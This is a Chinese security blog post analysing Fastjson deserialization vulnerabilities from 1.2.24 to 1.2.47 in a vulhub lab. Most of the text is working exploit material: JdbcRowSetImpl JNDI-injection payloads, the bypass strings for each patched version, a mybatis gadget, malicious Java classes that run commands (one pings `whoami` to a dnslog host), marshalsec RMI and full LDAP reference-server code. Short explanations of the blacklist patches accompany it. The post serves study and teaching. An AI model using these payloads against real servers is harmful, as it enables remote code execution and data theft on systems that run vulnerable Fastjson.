Fastjson漏洞分析

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2022年1月6日01:46:03评论55 views字数 10533阅读35分6秒阅读模式

Fastjson是Alibaba开发的Java语言编写的高性能JSON库，用于将数据在JSON和Java Object之间互相转换，提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

Fastjson 1.2.22-1.2.24

漏洞环境

运行测试环境： 

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docker-compose up -d

环境运行后，访问http://your-ip:8090即可看到JSON格式的输出。

我们向这个地址POST一个JSON对象，即可更新服务端的信息：

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curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

漏洞复现：

因为目标环境是Java 8u102，没有com.sun.jndi.rmi.object.trustURLCodebase的限制，我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链，借助JNDI注入来执行命令。

起一个WEB服务器，

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python -m http.server 80

首先编译并上传命令执行代码到WEB服务中 

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// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands =  { "/bin/sh", "-c", "ping -c 1 `whoami`.xxx.dnslog.cn"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后我们借助marshalsec项目，启动一个RMI服务器，监听9999端口，并制定加载远程类TouchFile.class：

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java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-vps/#TouchFile" 9999

向靶场服务器发送Payload，带上RMI的地址：

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POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://your-vps:9999/TouchFile",
        "autoCommit":true
    }
}

可见，命令已成功执行：

TemplatesImpl利用链

漏洞原理：Fastjson通过bytecodes字段传入恶意类，调用outputProperties属性的getter方法时，实例化传入的恶意类，调用其构造方法，造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField，所以利用面很窄，但是这条利用链还是值得去学习
详情可看 https://xz.aliyun.com/t/8979

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入，可以使用RMI+JNDI和RMI+LDAP进行利用

RMI+JNDI

编译badClassName.java文件，并起一个WEB服务放入，这里端口设置为8888
badClassName.java

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import java.io.IOException;

public class badClassName {
    public  badClassName() throws IOException {
        Runtime.getRuntime().exec("calc");

    }

}

JNDIServer

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import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1200);
        Reference reference = new Reference("calc",
                "badClassName","http://127.0.0.1:8888/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("calc",referenceWrapper);
    }
}
 
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import com.alibaba.fastjson.JSON;

public class JNDIClient {
    public static void main(String[] argv){
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1200/calc\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

LDAP+JNDI

编译badClassName.java文件，并起一个WEB服务放入，这里端口设置为8888
badClassName.java

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import java.io.IOException;

public class badClassName {
    public  badClassName() throws IOException {
        Runtime.getRuntime().exec("calc");

    }

}

LdapServer.java

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import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

 class LDAPServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:8888/#badClassName";
        int port = 1389;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

客户端调用,触发恶意代码 

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import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/badClassName\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

checkAutotype安全机制

Fastjson从1.2.25开始引入了checkAutotype安全机制，通过黑名单+白名单机制来防御。
com/alibaba/fastjson/parser/ParserConfig.java 

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int i;
String deny;
  for(i = 0; i < this.acceptList.length; ++i) {
      deny = this.acceptList[i];
      if (className.startsWith(deny)) {
          return TypeUtils.loadClass(typeName, this.defaultClassLoader);
      }
  }

  for(i = 0; i < this.denyList.length; ++i) {
      deny = this.denyList[i];
      if (className.startsWith(deny)) {
          throw new JSONException("autoType is not support. " + typeName);
      }
  }

Fastjson 1.2.41

1.2.41版本漏洞利用，其实就是针对1.2.24版本漏洞所打的补丁的绕过，本次漏洞影响了1.2.41版本以及之前的版本 

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public static void main(String[] argv){
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
      String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/badClassName\", \"autoCommit\":true}";
      JSON.parseObject(payload);
  }

可以发现，@type字段值为”Lcom.sun.rowset.JdbcRowSetImpl;”

在”com.sun.rowset.JdbcRowSetImpl”类的首尾多出了一个L与;

通过上文对checkAutotype安全机制的解释可以发现，@type字段值首先会经过黑白名单的校验。在成功通过校验之后，程序接下来会通过TypeUtils.loadClass方法对类进行加载 

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if (clazz == null) {
                   clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
               }

进入loadClass

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public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            } else {
            ……

”[”、 ”L”、”;”这些都是什么？以及为什么FastJson为什么要写两处if逻辑来处理他们。
用来解析传入的数组类型的Class对象字符串(JNI字段描述符)

详情可看：
https://www.anquanke.com/post/id/215753

Fastjson 1.2.42

不同于之前的版本，程序并不是直接通过明文的方式来匹配黑白名单，而是采用了一定的加密混淆。 针对这里的黑名单的原文明文也是有人曾经研究过的，可以参考如下链接

https://github.com/LeadroyaL/fastjson-blacklist

开发者的用意大概是想针对于1.2.41版本的利用”Lcom.sun.rowset.JdbcRowSetImpl;”，先剥去传入类名首尾的”L”与”;”，
以便将恶意数据暴露出来，再经过黑名单校验 

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public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() < 128 && typeName.length() >= 3) {
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            long BASIC = -3750763034362895579L;
            long PRIME = 1099511628211L;
            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                className = className.substring(1, className.length() - 1);
            }
……

绕过

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public static void main(String[] argv){
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/badClassName\", \"autoCommit\":true}";
    JSON.parseObject(payload);
}

Fastjson 1.2.45

在Fastjson 1.2.45版本中，checkAutotype安全机制又被发现了一种绕过方式。

之前的几次绕过都是针对checkAutoType的绕过，而这次则是利用了一条黑名单中不包含的元素，从而绕过了黑名单限制。

本次绕过利用到的是mybatis库。如果想测试成功，需要额外安装mybatis库。
pom.xml

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<dependency>
        <groupId>org.mybatis</groupId>
        <artifactId>mybatis</artifactId>
        <version>3.5.2</version>
    </dependency>

利用poc如下 

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public static void main(String[] argv){
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/badClassName\"}}";
    JSON.parseObject(payload);
}

Fastjson 1.2.47

Fastjson 1.2.47版本漏洞与上篇文章中介绍的几处漏洞在原理上有着很大的不同。与Fastjson历史上存在的大多数漏洞不同的是，Fastjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未开启时进行。

poc

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public static void main(String[] args) {
     String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
             "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/badClassName\",\"autoCommit\":true}}";
     Object obj = JSON.parseObject(payload);
     System.out.println(obj);
 }
 

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{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.1.100:9999/TouchFile",
        "autoCommit":true
    }
}

不开启autotype

参考文章：
https://www.kumamon.fun/fastjsonsecurity1/
https://vulhub.org/
https://xz.aliyun.com/t/8979
Fastjson 1.2.24反序列化漏洞深度分析:http://blog.topsec.com.cn/fastjson-1-2-24%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e6%b7%b1%e5%ba%a6%e5%88%86%e6%9e%90/
Fastjson历史漏洞研究（一）: https://www.anquanke.com/post/id/215753
FastJson历史漏洞研究（二）:https://www.anquanke.com/post/id/218268

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